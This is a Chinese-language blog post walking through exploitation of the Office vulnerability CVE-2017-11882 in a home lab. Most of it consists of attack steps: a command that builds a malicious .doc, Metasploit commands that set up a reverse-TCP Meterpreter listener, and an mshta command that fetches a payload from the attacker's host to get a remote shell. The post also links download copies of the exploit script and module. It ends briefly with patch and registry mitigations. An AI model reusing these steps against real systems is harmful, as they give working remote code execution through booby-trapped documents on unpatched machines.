随笔- 73  评论- 5  文章- 0 

CVE-2017-11882漏洞利用

CVE-2017-11882漏洞利用

最新Office的CVE-2017-11882的poc刚刚发布出来,让人眼前一亮,完美无弹窗,无视宏,影响Ms offcie全版本,对于企业来说危害很大。在此简单说下这个漏洞的复现和利用过程。

 

 

POC地址:https://github.com/Ridter/CVE-2017-11882/

下载Command43b_CVE-2017-11882.py脚本文件(文末分享云盘链接)。

 

使用的方法很简单,执行下面命令,生成漏洞doc文件。

 

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

 

 

 

使用office 2013打开,直接执行。

 

 

 

 

 

关于怎么进一步利用,可以利用msf进行攻击。

 

这里有个小技巧,因为命令长度有43字符的限制,可以使用URIPATH设置路径,尽量短一点,避免加起来超过43字符。

这里我仔细说一下,希望每个人都能看懂。

 

准备阶段:

kali:192.168.104

win7:192.168.1.132

win7里面的doc文件可以用office打开。我的win7虚拟机用的是office2013(文末分享)

 

 

 

首先打开kali,查看 IP,可以看到我的虚拟机kali的 IP是192.168.1.104。把Command43b_CVE-2017-11882.py下载下来放kali的桌面就可以。接下来就要把PS_shell.rb文件下载下来。就把PS_shell.rb和ms17-010.rb放一起吧。

ms17-010.rb文件的路径是:/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17-010.rb,把PS_shell.rb放smb下面,和ms17-010在一起。

准备工作做好了,接下来就是msf上场了。

输入msfconsole,然后reload_all,重新加载所有模块。

接下来输入命令:search PS_shell

use /exploits/windows/smb/PS_shell

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.104

set uripath abc

exploit

会出现 started reverse tcp hander on 192.168.1.104:4444

using url,local ip,,,

mshta.exe "http://192.168.1.104:8080/abc"

 

接下来就到了 Command43b_CVE-2017-11882.py 上场了。

前面说到,我们是把py文件放 kali 桌面的,所以在 kali 执行的时候路径要注意。

cd Desktop

输入命令:python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.104:8080/abc" -o test.doc

会在同目录生成 test.doc 文件。

然后复制到 win7里面用 office2013 打开。

win7 打开的时候,msf 输入 sessions

成功返回 shell。

具体请看截图,至此CVE-2017-11882漏洞利用结束,下面还可以进行一系列渗透了。

 

 

 

 

 

 

 

修复方案:

1.下载微软对此漏洞补丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882,并且开启自动更新功能

2.在注册表中禁用该漏洞模块

reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD/d 0x400

 

 

 

Command43b_CVE-2017-11882.py:(链接: https://pan.baidu.com/s/1hslbc80 密码: 5ap6)

PS_shell.rb:(链接: https://pan.baidu.com/s/1gfF5jmN 密码: rkwy)

office2013:(链接: https://pan.baidu.com/s/1eSElsrC 密码: q66f)

本文链接(http://www.cnblogs.com/Oran9e/p/7880832.html),转载请注明。

任重而道远!

posted on 2017-11-22 19:17 Oran9e 阅读(...) 评论(...) 编辑 收藏